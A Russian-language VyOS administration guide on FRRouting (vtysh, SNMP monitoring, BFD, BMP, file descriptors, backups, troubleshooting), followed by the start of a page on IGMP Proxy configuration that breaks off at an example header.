## vtysh - CLI Shell

vtysh - это интегрированная оболочка для управления FRR демонами через единый CLI интерфейс.

### Основы vtysh

**Характеристики**:
- Cisco-подобный CLI интерфейс
- Единая точка управления всеми FRR демонами
- Режимы: User EXEC, Privileged EXEC, Configuration
- Tab-completion и контекстная помощь
- Автоматическая синхронизация с VyOS конфигурацией

### Доступ к vtysh

```bash
# Вход в vtysh shell
vtysh

# Прямое выполнение команды
vtysh -c "show ip bgp summary"

# Множественные команды
vtysh -c "configure terminal" -c "router bgp 65001" -c "no synchronization"
```

### Режимы vtysh

**User EXEC Mode** (просмотр информации):
```
vyos@router:~$ vtysh
router# show ip route
router# show ip bgp summary
router# show running-config
```

**Privileged EXEC Mode** (расширенные команды):
```
router# show debugging bgp
router# clear ip bgp *
router# write memory
```

**Configuration Mode** (изменение конфигурации):
```
router# configure terminal
router(config)# router bgp 65001
router(config-router)# neighbor 192.168.1.1 remote-as 65002
router(config-router)# exit
router(config)# exit
router# write memory
```

### Основные команды vtysh

```bash
# Информация о системе
show version
show daemons

# Routing table
show ip route
show ipv6 route

# BGP
show ip bgp summary
show ip bgp neighbors
show ip bgp

# OSPF
show ip ospf neighbor
show ip ospf database
show ip ospf route

# Интерфейсы
show interface
show interface eth0

# Running configuration
show running-config

# Сохранение конфигурации
write memory
write file
```

## Базовая конфигурация FRR

### Просмотр активных демонов

```bash
# Показать запущенные FRR демоны
show system frr daemons

# Из vtysh
vtysh -c "show daemons"
```

Вывод:
```
zebra: running
bgpd: running
ospfd: running
bfdd: running
staticd: running
```

### Системные параметры FRR

VyOS позволяет настраивать глобальные параметры FRR:

```bash
# Базовая конфигурация (обычно не требуется)
# Демоны управляются автоматически через VyOS CLI

# Commit и сохранение
commit
save
```

## SNMP интеграция с FRR

FRR поддерживает SNMP для мониторинга состояния routing протоколов через стандартные MIBs.

### Включение SNMP для FRR демонов

```bash
# SNMP для BGP
set system frr snmp bgpd

# SNMP для OSPF
set system frr snmp ospfd

# SNMP для OSPF IPv6
set system frr snmp ospf6d

# SNMP для RIP
set system frr snmp ripd

# SNMP для ISIS
set system frr snmp isisd

# SNMP для LDP
set system frr snmp ldpd

# SNMP для Zebra (ядро)
set system frr snmp zebra

commit
save
```

### Проверка SNMP интеграции

```bash
# Показать FRR SNMP конфигурацию
show configuration system frr snmp

# Проверка через snmpwalk (с другой машины)
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.15
# 1.3.6.1.2.1.15 - BGP4-MIB

# OSPF MIB
snmpwalk -v2c -c public 192.168.1.1 1.3.6.1.2.1.14
```

### Доступные MIBs для FRR

**BGP4-MIB** (1.3.6.1.2.1.15):
- bgpPeerTable - информация о BGP peers
- bgpVersion - версия BGP
- bgpLocalAs - локальный AS
- bgpPeerState - состояние соседей

**OSPF-MIB** (1.3.6.1.2.1.14):
- ospfGeneralGroup - общая информация OSPF
- ospfAreaTable - таблица areas
- ospfIfTable - интерфейсы OSPF
- ospfNbrTable - OSPF neighbors

**IP-FORWARD-MIB** (1.3.6.1.2.1.4.24):
- ipCidrRouteTable - routing table entries

## File Descriptors Configuration

Для BGP конфигураций с большим количеством peers необходимо увеличить лимит открытых файловых дескрипторов.

### Настройка File Descriptors

```bash
# Установить максимальное количество file descriptors
set system frr descriptors 4096

commit
save
```

**Когда использовать**:
- BGP router с 500+ peers
- Route reflector с множественными clients
- Large-scale BGP deployments
- Ошибки "Too many open files" в логах

### Проверка текущих лимитов

```bash
# Проверить текущие limits для FRR процессов
ps aux | grep bgpd
cat /proc/$(pgrep bgpd)/limits | grep "open files"

# Или из vtysh
vtysh -c "show thread cpu"
```

По умолчанию: 1024 (может быть недостаточно для больших BGP deployments)

Рекомендуемые значения:
- Малые deployments (< 50 peers): 1024 (default)
- Средние deployments (50-500 peers): 2048-4096
- Крупные deployments (500+ peers): 4096-8192

## BFD Support

Bidirectional Forwarding Detection (BFD) обеспечивает быстрое обнаружение отказов связи между роутерами.

### Включение BFD

```bash
# Включить BFD support в FRR
set system frr bfdd

commit
save
```

После включения bfdd демон будет автоматически запущен и доступен для использования с протоколами маршрутизации (BGP, OSPF, IS-IS).

### Использование BFD с протоколами

**BGP + BFD**:
```bash
set protocols bgp system-as 65001
set protocols bgp neighbor 192.168.1.1 remote-as 65002
set protocols bgp neighbor 192.168.1.1 bfd

commit
```

**OSPF + BFD**:
```bash
set protocols ospf interface eth1 bfd

commit
```

### Проверка BFD

```bash
# Статус BFD сессий
show bfd peers

# Детальная информация
vtysh -c "show bfd peers"

# BFD статистика
vtysh -c "show bfd peers counters"
```

Вывод:
```
BFD Peers:
	peer 192.168.1.1
		ID: 1
		Remote ID: 2
		Status: up
		Uptime: 1 day 5 hours
		Diagnostics: ok
		Remote diagnostics: ok
		Local timers:
			Transmit interval: 300 ms
			Receive interval: 300 ms
			Multiplier: 3
```

## BMP Support

BGP Monitoring Protocol (BMP) для экспорта BGP информации в системы мониторинга.

### Включение BMP

```bash
# Включить BMP support
set system frr bmp

commit
save
```

BMP позволяет экспортировать:
- BGP RIB (Routing Information Base)
- BGP updates в реальном времени
- Peer up/down события
- Route mirroring для анализа

### Настройка BMP (через vtysh)

```bash
vtysh
configure terminal
router bgp 65001
  bmp targets bmp-server
    bmp connect 192.168.1.100 port 11019 min-retry 1000 max-retry 10000
    bmp monitor ipv4 unicast post-policy
    bmp monitor ipv4 unicast pre-policy
  exit
exit
write memory
exit
```

## IRDP Support

ICMP Router Discovery Protocol (IRDP) для автоматического обнаружения роутеров в сети.

### Включение IRDP

```bash
# Включить IRDP support
set system frr irdp

commit
save
```

IRDP (RFC 1256) позволяет хостам автоматически обнаруживать роутеры в сегменте без необходимости статической конфигурации default gateway.

### Настройка IRDP на интерфейсе

```bash
# Включить IRDP на интерфейсе eth0
set interfaces ethernet eth0 ip router-advertisement send-advertisements true
set interfaces ethernet eth0 ip router-advertisement max-interval 600
set interfaces ethernet eth0 ip router-advertisement min-interval 200

commit
save
```

## Прямая работа с FRR конфигурацией

### Просмотр FRR конфигурации

```bash
# Показать running config FRR
vtysh -c "show running-config"

# Конфигурация конкретного протокола
vtysh -c "show running-config bgpd"
vtysh -c "show running-config ospfd"

# Сохраненная конфигурация
vtysh -c "show configuration"
```

### Файлы конфигурации FRR

FRR хранит конфигурации в:
- `/run/frr/frr.conf` - основная конфигурация (managed by VyOS)
- `/run/frr/daemons` - список активных демонов

**Внимание**: Прямое редактирование этих файлов не рекомендуется, используйте VyOS CLI.

### Экспорт FRR конфигурации

```bash
# Экспорт всей конфигурации FRR
vtysh -c "show running-config" > /tmp/frr-config.txt

# Экспорт конфигурации BGP
vtysh -c "show running-config bgpd" > /tmp/bgp-config.txt

# Копирование на удаленный сервер
scp /tmp/frr-config.txt user@192.168.1.100:/backups/
```

### Импорт FRR конфигурации

**Внимание**: Импорт конфигурации напрямую в FRR может нарушить интеграцию с VyOS. Используйте только для тестирования или миграции.

```bash
# Импорт конфигурации в vtysh
vtysh
configure terminal
# Вставить команды конфигурации
exit
write memory
exit

# Или из файла (не рекомендуется)
sudo cp frr-config.txt /run/frr/frr.conf
sudo systemctl restart frr
```

## Отладка и диагностика FRR

### Debug режим FRR

```bash
# Включить debug для BGP
vtysh
configure terminal
debug bgp updates
debug bgp neighbor-events
exit
exit

# Просмотр debug вывода
show debugging bgp
monitor log
```

### Просмотр логов FRR

```bash
# Логи FRR в syslog
show log | match frr
show log | match bgp
show log | match ospf

# Прямой доступ к логам
tail -f /var/log/frr/frr.log

# Логи конкретного демона
journalctl -u frr -f
```

### Статистика FRR

```bash
# Статистика демонов
vtysh -c "show thread cpu"

# Memory usage
vtysh -c "show memory"

# Версия FRR
vtysh -c "show version"
```

### Перезапуск FRR демонов

```bash
# Перезапуск всего FRR (осторожно!)
sudo systemctl restart frr

# Перезапуск конкретного демона (из vtysh)
vtysh
clear ip bgp *  # Soft reset BGP
exit

# Hard restart демона (осторожно!)
sudo systemctl restart frr
```

## Примеры конфигураций

### Пример 1: SNMP мониторинг для BGP (Yandex Cloud)

Сценарий: Yandex Cloud VM с VyOS в качестве BGP роутера. Необходим SNMP мониторинг через Yandex Monitoring или внешний NMS.

```bash
# Конфигурация BGP
set protocols bgp system-as 65001
set protocols bgp parameters router-id 10.0.0.1

# ISP peer
set protocols bgp neighbor 84.201.135.210 remote-as 65000
set protocols bgp neighbor 84.201.135.210 address-family ipv4-unicast

# Announce network
set protocols bgp address-family ipv4-unicast network 10.128.0.0/24

# Включить SNMP для FRR BGP
set system frr snmp bgpd
set system frr snmp zebra

# Конфигурация SNMP
set service snmp community monitoring authorization ro
set service snmp community monitoring network 10.128.0.0/24
set service snmp listen-address 10.128.0.5 port 161
set service snmp location 'Yandex Cloud - ru-central1-a'
set service snmp contact 'netadmin@example.com'

commit
save
```

**Проверка**:
```bash
# На VyOS
show ip bgp summary
show configuration system frr

# С monitoring сервера в Yandex Cloud
snmpwalk -v2c -c monitoring 10.128.0.5 BGP4-MIB::bgpPeerTable
snmpget -v2c -c monitoring 10.128.0.5 BGP4-MIB::bgpLocalAs.0
```

**Мониторинг метрик**:
- BGP peer state (Up/Down)
- Received prefixes count
- BGP message counters
- Last error codes

### Пример 2: Настройка File Descriptors для крупного Route Reflector

Сценарий: VyOS Route Reflector с 500+ BGP clients в enterprise сети. Необходимо увеличить лимиты для стабильной работы.

```bash
# Увеличить file descriptors
set system frr descriptors 8192

# BGP Route Reflector конфигурация
set protocols bgp system-as 65001
set protocols bgp parameters router-id 10.255.255.1
set protocols bgp parameters cluster-id 10.255.255.1

# Peer group для clients
set protocols bgp peer-group RR-CLIENTS remote-as 65001
set protocols bgp peer-group RR-CLIENTS address-family ipv4-unicast route-reflector-client

# Массовое добавление clients через скрипт не показано
# Примеры clients
set protocols bgp neighbor 10.0.1.1 peer-group RR-CLIENTS
set protocols bgp neighbor 10.0.1.2 peer-group RR-CLIENTS
# ... еще 498 clients

# BFD для быстрого failover
set system frr bfdd
set protocols bgp peer-group RR-CLIENTS bfd

commit
save
```

**Проверка лимитов**:
```bash
# Проверить применение лимитов
ps aux | grep bgpd
cat /proc/$(pgrep bgpd)/limits | grep "open files"

# Должно показать: Max open files 8192

# Статистика BGP
vtysh -c "show ip bgp summary"
vtysh -c "show thread cpu"
```

### Пример 3: Интеграция BFD для быстрого failover

Сценарий: Dual-homed подключение к двум ISP с требованием быстрого переключения при отказе.

```bash
# Включить BFD
set system frr bfdd

# BGP конфигурация
set protocols bgp system-as 65001
set protocols bgp parameters router-id 10.0.0.1

# ISP1 с BFD
set protocols bgp neighbor 203.0.113.1 remote-as 65000
set protocols bgp neighbor 203.0.113.1 description 'ISP1 Primary'
set protocols bgp neighbor 203.0.113.1 address-family ipv4-unicast
set protocols bgp neighbor 203.0.113.1 bfd

# ISP2 с BFD
set protocols bgp neighbor 198.51.100.1 remote-as 65002
set protocols bgp neighbor 198.51.100.1 description 'ISP2 Backup'
set protocols bgp neighbor 198.51.100.1 address-family ipv4-unicast
set protocols bgp neighbor 198.51.100.1 bfd

# BFD профиль для быстрого обнаружения (300ms)
set protocols bfd profile bgp-peers interval transmit 300
set protocols bfd profile bgp-peers interval receive 300
set protocols bfd profile bgp-peers interval multiplier 3

# Применить профиль
set protocols bgp neighbor 203.0.113.1 bfd profile bgp-peers
set protocols bgp neighbor 198.51.100.1 bfd profile bgp-peers

commit
save
```

**Проверка BFD**:
```bash
# Статус BFD peers
show bfd peers

# Детальная информация
vtysh -c "show bfd peers detail"

# При отказе линии BGP должен переключиться за ~1 секунду вместо 90+ секунд
```

### Пример 4: Кастомная настройка демонов FRR (VK Cloud)

Сценарий: VK Cloud instance с VyOS для сложной маршрутизации. Требуется тонкая настройка OSPF и SNMP мониторинг.

```bash
# OSPF конфигурация
set protocols ospf parameters router-id 10.0.0.1
set protocols ospf area 0.0.0.0 network 192.168.1.0/24
set protocols ospf area 0.0.0.0 network 192.168.2.0/24

# SNMP для OSPF мониторинга
set system frr snmp ospfd
set system frr snmp zebra

# SNMP конфигурация
set service snmp community vkcloud authorization ro
set service snmp community vkcloud network 192.168.1.0/24
set service snmp listen-address 192.168.1.1 port 161

# BFD для OSPF neighbors
set system frr bfdd
set protocols ospf interface eth1 bfd
set protocols ospf interface eth2 bfd

# File descriptors (если много OSPF neighbors)
set system frr descriptors 2048

commit
save
```

**Мониторинг через SNMP**:
```bash
# С NMS сервера
snmpwalk -v2c -c vkcloud 192.168.1.1 OSPF-MIB::ospfNbrTable
snmpwalk -v2c -c vkcloud 192.168.1.1 OSPF-MIB::ospfIfTable

# Проверка neighbor state
snmpget -v2c -c vkcloud 192.168.1.1 OSPF-MIB::ospfNbrState.192.168.1.2.0
```

### Пример 5: Debug сессии BGP через vtysh

```bash
# Вход в vtysh
vtysh

# Включить debug
configure terminal
debug bgp neighbor-events
debug bgp updates in
debug bgp updates out
debug bgp keepalives
exit

# Просмотр debug вывода в реальном времени
terminal monitor

# Или просмотр логов
exit
monitor log

# Отключить debug после диагностики
vtysh
configure terminal
no debug bgp neighbor-events
no debug bgp updates
no debug bgp keepalives
exit
exit
```

### Пример 6: Экспорт и резервное копирование FRR конфигурации

```bash
# Создать директорию для backup
mkdir -p /config/backups/frr

# Экспорт всей FRR конфигурации
vtysh -c "show running-config" > /config/backups/frr/frr-config-$(date +%Y%m%d-%H%M%S).txt

# Экспорт по протоколам
vtysh -c "show running-config bgpd" > /config/backups/frr/bgp-config-$(date +%Y%m%d-%H%M%S).txt
vtysh -c "show running-config ospfd" > /config/backups/frr/ospf-config-$(date +%Y%m%d-%H%M%S).txt

# Копирование на удаленный сервер
scp /config/backups/frr/frr-config-*.txt backup@192.168.1.100:/backups/vyos/

# Автоматизация через cron
set system task-scheduler task backup-frr executable path /config/scripts/backup-frr.sh
set system task-scheduler task backup-frr interval 1d

commit
save
```

Скрипт `/config/scripts/backup-frr.sh`:
```bash
#!/bin/bash
DATE=$(date +%Y%m%d-%H%M%S)
BACKUP_DIR="/config/backups/frr"
mkdir -p $BACKUP_DIR

vtysh -c "show running-config" > $BACKUP_DIR/frr-config-$DATE.txt

# Удалить старые backup (старше 30 дней)
find $BACKUP_DIR -name "frr-config-*.txt" -mtime +30 -delete
```

## Команды проверки

### Системные команды

```bash
# Показать запущенные FRR демоны
show system frr daemons

# Показать FRR конфигурацию в VyOS
show configuration system frr

# Версия FRR
vtysh -c "show version"
```

### Команды vtysh

```bash
# Общая информация
vtysh -c "show version"
vtysh -c "show daemons"
vtysh -c "show memory"

# Routing table
vtysh -c "show ip route"
vtysh -c "show ipv6 route"

# BGP
vtysh -c "show ip bgp summary"
vtysh -c "show ip bgp neighbors"
vtysh -c "show ip bgp"

# OSPF
vtysh -c "show ip ospf neighbor"
vtysh -c "show ip ospf interface"
vtysh -c "show ip ospf database"

# BFD
vtysh -c "show bfd peers"
vtysh -c "show bfd peers counters"

# Интерфейсы
vtysh -c "show interface"
vtysh -c "show interface eth0"

# Running configuration
vtysh -c "show running-config"
```

### SNMP проверки (с удаленного сервера)

```bash
# BGP
snmpwalk -v2c -c public 192.168.1.1 BGP4-MIB::bgpPeerTable
snmpget -v2c -c public 192.168.1.1 BGP4-MIB::bgpLocalAs.0
snmpget -v2c -c public 192.168.1.1 BGP4-MIB::bgpPeerState.192.168.1.2

# OSPF
snmpwalk -v2c -c public 192.168.1.1 OSPF-MIB::ospfNbrTable
snmpget -v2c -c public 192.168.1.1 OSPF-MIB::ospfRouterId.0

# IP Forwarding
snmpwalk -v2c -c public 192.168.1.1 IP-FORWARD-MIB::ipCidrRouteTable
```

## Troubleshooting

### FRR демон не запускается

**Проблема**: Демон FRR (bgpd, ospfd) не запускается после конфигурации.

**Диагностика**:
```bash
# Проверить статус FRR
systemctl status frr

# Проверить какие демоны должны быть запущены
show system frr daemons

# Логи FRR
show log | match frr
journalctl -u frr -n 50

# Проверить конфигурацию FRR
vtysh -c "show running-config"
```

**Решение**:
```bash
# Перезапуск FRR
sudo systemctl restart frr

# Проверить после рестарта
vtysh -c "show daemons"

# Если проблема persist - проверить syntax конфигурации
sudo /usr/lib/frr/frrinit.sh start
```

### SNMP не возвращает данные от FRR

**Проблема**: SNMP walk не показывает BGP/OSPF данные.

**Диагностика**:
```bash
# Проверить SNMP включен для демона
show configuration system frr snmp

# Проверить SNMP service запущен
show service snmp

# Тест локально
snmpwalk -v2c -c public localhost BGP4-MIB::bgpPeerTable

# Проверить MIB загружены
ls -la /usr/share/snmp/mibs/
```

**Решение**:
```bash
# Включить SNMP для нужного демона
set system frr snmp bgpd
set system frr snmp zebra

# Убедиться что SNMP service настроен
set service snmp community public authorization ro
set service snmp listen-address 0.0.0.0 port 161

commit
save

# Перезапуск SNMP и FRR
sudo systemctl restart snmpd
sudo systemctl restart frr
```

### File descriptors ошибка в BGP

**Проблема**: Логи показывают "Too many open files" для bgpd.

**Диагностика**:
```bash
# Проверить текущий лимит
cat /proc/$(pgrep bgpd)/limits | grep "open files"

# Количество BGP peers
vtysh -c "show ip bgp summary" | grep -c "^[0-9]"

# Проверить конфигурацию
show configuration system frr descriptors
```

**Решение**:
```bash
# Увеличить лимит
set system frr descriptors 4096

commit
save

# Перезапуск BGP (осторожно, разорвет сессии!)
sudo systemctl restart frr

# Проверить применение
cat /proc/$(pgrep bgpd)/limits | grep "open files"
```

### BFD сессии не устанавливаются

**Проблема**: BFD peers показывают состояние "Down".

**Диагностика**:
```bash
# Проверить BFD демон запущен
vtysh -c "show daemons" | grep bfdd

# Статус BFD peers
show bfd peers

# Детальная информация
vtysh -c "show bfd peers detail"

# Проверить BFD включен в протоколе
show configuration protocols bgp | match bfd
```

**Решение**:
```bash
# Убедиться что bfdd включен
set system frr bfdd

# Проверить BFD настроен на neighbor
set protocols bgp neighbor 192.168.1.1 bfd

# Проверить network connectivity
ping 192.168.1.1 count 5

# Проверить firewall не блокирует BFD (UDP 3784)
set firewall ipv4 input filter rule 200 action accept
set firewall ipv4 input filter rule 200 destination port 3784
set firewall ipv4 input filter rule 200 protocol udp

commit
save
```

### vtysh команды не работают

**Проблема**: vtysh выдает ошибки или не подключается к демонам.

**Диагностика**:
```bash
# Проверить vtysh доступен
which vtysh

# Попытка подключения
vtysh

# Если ошибка - проверить FRR демоны
systemctl status frr

# Проверить socket файлы
ls -la /run/frr/
```

**Решение**:
```bash
# Перезапуск FRR
sudo systemctl restart frr

# Проверить permissions
sudo chown frr:frrvty /run/frr/*

# Убедиться что пользователь в группе frrvty
groups
# Если нет - добавить
sudo usermod -a -G frrvty vyos
```

### Конфигурация FRR не сохраняется после reboot

**Проблема**: После перезагрузки VyOS конфигурация FRR сбрасывается.

**Причина**: Конфигурация в vtysh не синхронизируется с VyOS.

**Решение**:
- Всегда используйте VyOS CLI для конфигурации протоколов маршрутизации
- После изменений через vtysh выполните `commit` и `save` в VyOS
- Не редактируйте `/run/frr/frr.conf` напрямую

```bash
# Правильный способ
configure
set protocols bgp system-as 65001
commit
save

# НЕ рекомендуется
vtysh
configure terminal
router bgp 65001
# Эта конфигурация будет потеряна после reboot
```

## Лучшие практики

### 1. Конфигурация через VyOS CLI

Всегда используйте VyOS CLI (`configure`, `set`, `commit`) вместо прямого редактирования FRR конфигурации. VyOS автоматически синхронизирует конфигурацию с FRR.

### 2. SNMP мониторинг

Включайте SNMP для критичных routing демонов:
```bash
set system frr snmp bgpd
set system frr snmp ospfd
set system frr snmp zebra
```

Интегрируйте с NMS для мониторинга:
- BGP peer states
- OSPF neighbor adjacencies
- Routing table changes
- Protocol errors

### 3. File Descriptors для BGP

Для BGP deployments с большим количеством peers:
- < 50 peers: default (1024) достаточно
- 50-500 peers: 2048-4096
- 500+ peers: 4096-8192

```bash
set system frr descriptors 4096
```

### 4. BFD для быстрого failover

Используйте BFD для критичных линков:
```bash
set system frr bfdd
set protocols bgp neighbor X.X.X.X bfd
set protocols ospf interface ethX bfd
```

BFD обеспечивает обнаружение отказа за секунды вместо минут.

### 5. Backup конфигураций FRR

Регулярно экспортируйте FRR конфигурацию:
```bash
vtysh -c "show running-config" > /config/backups/frr-$(date +%Y%m%d).txt
```

Автоматизируйте через task-scheduler.

### 6. Debug с осторожностью

Debug режим генерирует большое количество логов:
```bash
# Включать только для диагностики
vtysh -c "configure terminal" -c "debug bgp updates"

# Отключать после завершения
vtysh -c "configure terminal" -c "no debug all"
```

### 7. Мониторинг производительности

Регулярно проверяйте:
```bash
vtysh -c "show thread cpu"  # CPU usage демонов
vtysh -c "show memory"      # Memory usage
show system resources       # Системные ресурсы
```

### 8. Документирование изменений

Документируйте все изменения в FRR конфигурации:
- Дата и время изменения
- Причина изменения
- Измененные параметры
- Результат изменения

### 9. Testing перед production

Тестируйте изменения FRR в lab environment:
- Проверяйте convergence time
- Тестируйте failover scenarios
- Проверяйте BFD timers
- Мониторьте resource usage

### 10. Keep FRR updated

VyOS регулярно обновляет FRR версию. После обновления VyOS:
- Проверьте compatibility notes
- Тестируйте в non-production
- Проверьте что все функции работают
- Обновите документацию

## Интеграция с мониторингом

### Zabbix

**Template для FRR/BGP мониторинга**:

Создайте items для мониторинга:
```
Name: BGP Peer State - {#PEER_IP}
Type: SNMP agent
Key: bgpPeerState[{#PEER_IP}]
SNMP OID: BGP4-MIB::bgpPeerState.{#PEER_IP}
```

**Triggers**:
```
Name: BGP Peer {#PEER_IP} is down
Expression: {VyOS:bgpPeerState[{#PEER_IP}].last()}≠6
Severity: High
```

### Prometheus + SNMP Exporter

**snmp.yml конфигурация**:
```yaml
modules:
  vyos_frr:
    walk:
      - 1.3.6.1.2.1.15  # BGP4-MIB
      - 1.3.6.1.2.1.14  # OSPF-MIB
    metrics:
      - name: bgpPeerState
        oid: 1.3.6.1.2.1.15.3.1.2
        type: gauge
        help: BGP peer connection state
      - name: bgpPeerFsmEstablishedTransitions
        oid: 1.3.6.1.2.1.15.3.1.15
        type: counter
        help: BGP FSM established transitions
```

**Grafana Dashboard**:
- BGP peer status panel
- Received/Advertised prefixes graph
- OSPF neighbor states
- BFD session status

### Logging integration

```bash
# Отправка FRR логов на удаленный syslog
set system syslog host 192.168.1.100 facility daemon level info

# Локальные логи для quick troubleshooting
set system syslog file frr.log facility daemon level info

commit
save
```

## Заключение

FRRouting в VyOS обеспечивает enterprise-grade routing functionality с богатыми возможностями настройки и мониторинга. Ключевые возможности:

**Основные функции**:
- Модульная архитектура с independent демонами для каждого протокола
- vtysh CLI для прямого управления и отладки
- SNMP интеграция для мониторинга routing протоколов
- BFD для быстрого обнаружения отказов
- Настройка производительности (file descriptors)

**Интеграция с мониторингом**:
- SNMP MIBs для BGP, OSPF, IS-IS
- Syslog для централизованного логирования
- Prometheus/Grafana для метрик
- Zabbix/Nagios для alerting

**Production использование**:
- Yandex Cloud: BGP peering с SNMP мониторингом
- VK Cloud: OSPF networks с BFD
- Enterprise: Route Reflector с thousands of peers
- ISP: Multi-protocol routing с performance tuning

Правильная конфигурация FRR обеспечивает stable, scalable и observable routing infrastructure. Используйте SNMP мониторинг, включайте BFD для критичных линков, настраивайте file descriptors для large-scale BGP, и регулярно экспортируйте конфигурации для backup.

VyOS abstraction над FRR упрощает управление, но прямой доступ через vtysh остается доступным для advanced troubleshooting и fine-tuning.


---

# IGMP Proxy - Internet Group Management Protocol Proxy

Source: https://opennix.org/docs/vyos/routing/vyos-igmp/


IGMP Proxy позволяет маршрутизировать multicast трафик между различными сегментами сети, действуя как прокси для IGMP сообщений от клиентов.

## Обзор

IGMP (Internet Group Management Protocol) - протокол управления multicast группами в IPv4 сетях.

**IGMP Proxy**:
- Отправляет IGMP host сообщения от имени подключенных клиентов
- Обеспечивает multicast маршрутизацию без полноценного multicast routing протокола
- Простая альтернатива PIM (Protocol Independent Multicast)
- Используется для распределения IPTV, видео стриминга, конференций

**Стандарты**:
- **RFC 2236** - IGMPv2
- **RFC 3376** - IGMPv3
- **RFC 9776** - IGMPv3 обновление (2025)

**Применение**:
- IPTV сервисы
- Видео конференции
- Multicast потоковое видео
- Корпоративные вещательные приложения
- Финансовые данные (market data feeds)

## Как работает IGMP

### IGMP в сети

**IGMP версии**:

**IGMPv1** (RFC 1112):
- Базовая функциональность
- Только Join сообщения
- Устаревшая версия

**IGMPv2** (RFC 2236):
- Leave Group сообщения
- Querier election механизм
- Max Response Time поле
- Быстрое удаление из группы

**IGMPv3** (RFC 3376, RFC 9776):
- Source-Specific Multicast (SSM)
- Include/Exclude режимы
- Фильтрация по источникам

### IGMP Сообщения

**Membership Query**:
- Отправляется роутером для обнаружения членов группы
- General Query - для всех групп
- Group-Specific Query - для конкретной группы

**Membership Report**:
- Отправляется хостом для присоединения к группе
- Периодические обновления

**Leave Group** (IGMPv2+):
- Хост покидает multicast группу
- Быстрое удаление подписки

### Multicast Адреса

**Диапазон IPv4 multicast**: 224.0.0.0/4 (224.0.0.0 - 239.255.255.255)

**Специальные адреса**:
- **224.0.0.1** - All Hosts (все хосты в subnet)
- **224.0.0.2** - All Routers (все роутеры)
- **224.0.0.5** - OSPF All Routers
- **224.0.0.6** - OSPF Designated Routers
- **224.0.0.9** - RIPv2
- **224.0.0.22** - IGMP
- **224.0.0.251** - mDNS
- **224.0.0.252** - LLMNR

**Organization-Local**: 239.0.0.0/8 - для частного использования

**IPTV диапазоны** (примеры):
- 233.0.0.0/8 - SSM диапазон
- 239.x.x.x - Organization-local

## IGMP Proxy Концепция

### Архитектура

**Upstream Interface** - входящий интерфейс:
- Подключен к источнику multicast трафика
- Коммуницирует с multicast источниками данных
- Может быть только **один** upstream интерфейс
- Обычно WAN интерфейс или интерфейс провайдера

**Downstream Interface** - исходящие интерфейсы:
- Подключены к клиентским сетям
- Распределяют multicast данные к получателям
- Может быть **один или несколько** downstream интерфейсов
- Обычно LAN интерфейсы

**Работа прокси**:
1. Клиент отправляет IGMP Join на downstream интерфейс
2. IGMP Proxy получает Join и запоминает подписку
3. Прокси отправляет IGMP Join на upstream интерфейс (от своего имени)
4. Multicast источник начинает отправлять трафик
5. Прокси пересылает multicast пакеты на downstream интерфейсы с активными подписками
6. При IGMP Leave прокси обновляет подписки

### Преимущества

**IGMP Proxy vs Full Multicast Routing** (PIM):

| Характеристика | IGMP Proxy | PIM |
|---------------|------------|-----|
| Сложность конфигурации | Низкая | Высокая |
| Ресурсы | Минимальные | Значительные |
| Топология | Простая | Любая |
| Масштабируемость | Ограниченная | Высокая |
| Применение | Edge networks | Core networks |

**Когда использовать IGMP Proxy**:
- Простая топология (один источник, несколько приемников)
- Домашние/офисные сети
- IPTV от провайдера
- Ограниченные ресурсы

**Когда использовать PIM**:
- Сложная топология
- Множество источников
- Redundancy требуется
- Data center multicast

## Базовая конфигурация

### Простая IGMP Proxy

**Сценарий**: IPTV от провайдера через eth0 (WAN), клиенты в eth1 (LAN).

```
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth1 role downstream

commit
save
```

**Объяснение**:
- **eth0** (upstream) - подключен к IPTV провайдеру
- **eth1** (downstream) - LAN с IPTV клиентами

### Проверка базовой конфигурации

```
show protocols igmp-proxy
```

Вывод:
```
interface eth0 {
    role upstream
}
interface eth1 {
    role downstream
}
```

Просмотр активных multicast групп:
```
show igmp groups
```

Вывод:
```
Interface        Address         Group           Uptime
eth1             192.168.1.254   239.0.1.10      00:05:23
eth1             192.168.1.254   239.0.1.11      00:03:45
```

### Restart IGMP Proxy

После изменения конфигурации:
```
restart igmp-proxy
```

## Расширенная конфигурация

### Alternate Subnets

**Назначение**: Определяет альтернативные источники для multicast трафика.

**Применение**:
- Источник multicast в другой подсети
- Трафик проходит через NAT
- Удаленные multicast источники

**Синтаксис**:
```
set protocols igmp-proxy interface <interface> alt-subnet <network>
```

**Пример**:
```
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth0 alt-subnet 10.0.0.0/23
set protocols igmp-proxy interface eth0 alt-subnet 172.16.0.0/16
set protocols igmp-proxy interface eth1 role downstream

commit
save
```

**Когда использовать alt-subnet**:
- Multicast источник имеет адрес не из directly connected подсети
- Между upstream интерфейсом и источником есть роутер
- IPTV провайдер использует централизованные multicast серверы

### Множественные Downstream интерфейсы

**Сценарий**: Несколько LAN сегментов.

```
set protocols igmp-proxy interface eth0 role upstream

set protocols igmp-proxy interface eth1 role downstream
set protocols igmp-proxy interface eth2 role downstream
set protocols igmp-proxy interface eth3 role downstream

commit
save
```

**Применение**:
- Множество VLAN для клиентов
- Различные физические сегменты
- Разделение трафика по отделам

### Threshold (TTL)

**Threshold** - минимальный TTL для пересылки multicast пакетов на интерфейс.

**Синтаксис**:
```
set protocols igmp-proxy interface <interface> threshold <ttl>
```

**Пример**:
```
set protocols igmp-proxy interface eth0 role upstream
set protocols igmp-proxy interface eth0 threshold 1

set protocols igmp-proxy interface eth1 role downstream
set protocols igmp-proxy interface eth1 threshold 1

commit
save
```

**Значения TTL**:
- **1** - только локальная сеть (по умолчанию)
- **32** - в пределах организации
- **64** - в пределах региона
- **128** - в пределах континента
- **255** - глобально

**Применение**:
- Ограничение распространения multicast трафика
- Предотвращение утечки во внешние сети
- Контроль области действия

### Disable Quick Leave

**Quick Leave** - быстрое удаление из группы без дополнительных проверок.

**Отключение**:
```
set protocols igmp-proxy disable-quickleave

commit
save
```

**По умолчанию**: Quick Leave включен.

**Когда отключать**:
- Несколько клиентов на одном downstream интерфейсе
- Необходимо убедиться, что все клиенты покинули группу
- Предотвращение преждевременного прекращения потока

**Эффект отключения**:
- Прокси отправит Group-Specific Query перед удалением группы
- Задержка в несколько секунд при Leave

## Примеры конфигурации

### Пример 1: IPTV от провайдера (Yandex Cloud)

**Сценарий**:
- VyOS роутер в Yandex Cloud
- WAN (eth0) - подключение к IPTV провайдеру (внешняя сеть)
- LAN (eth1) - клиентская сеть 192.168.1.0/24
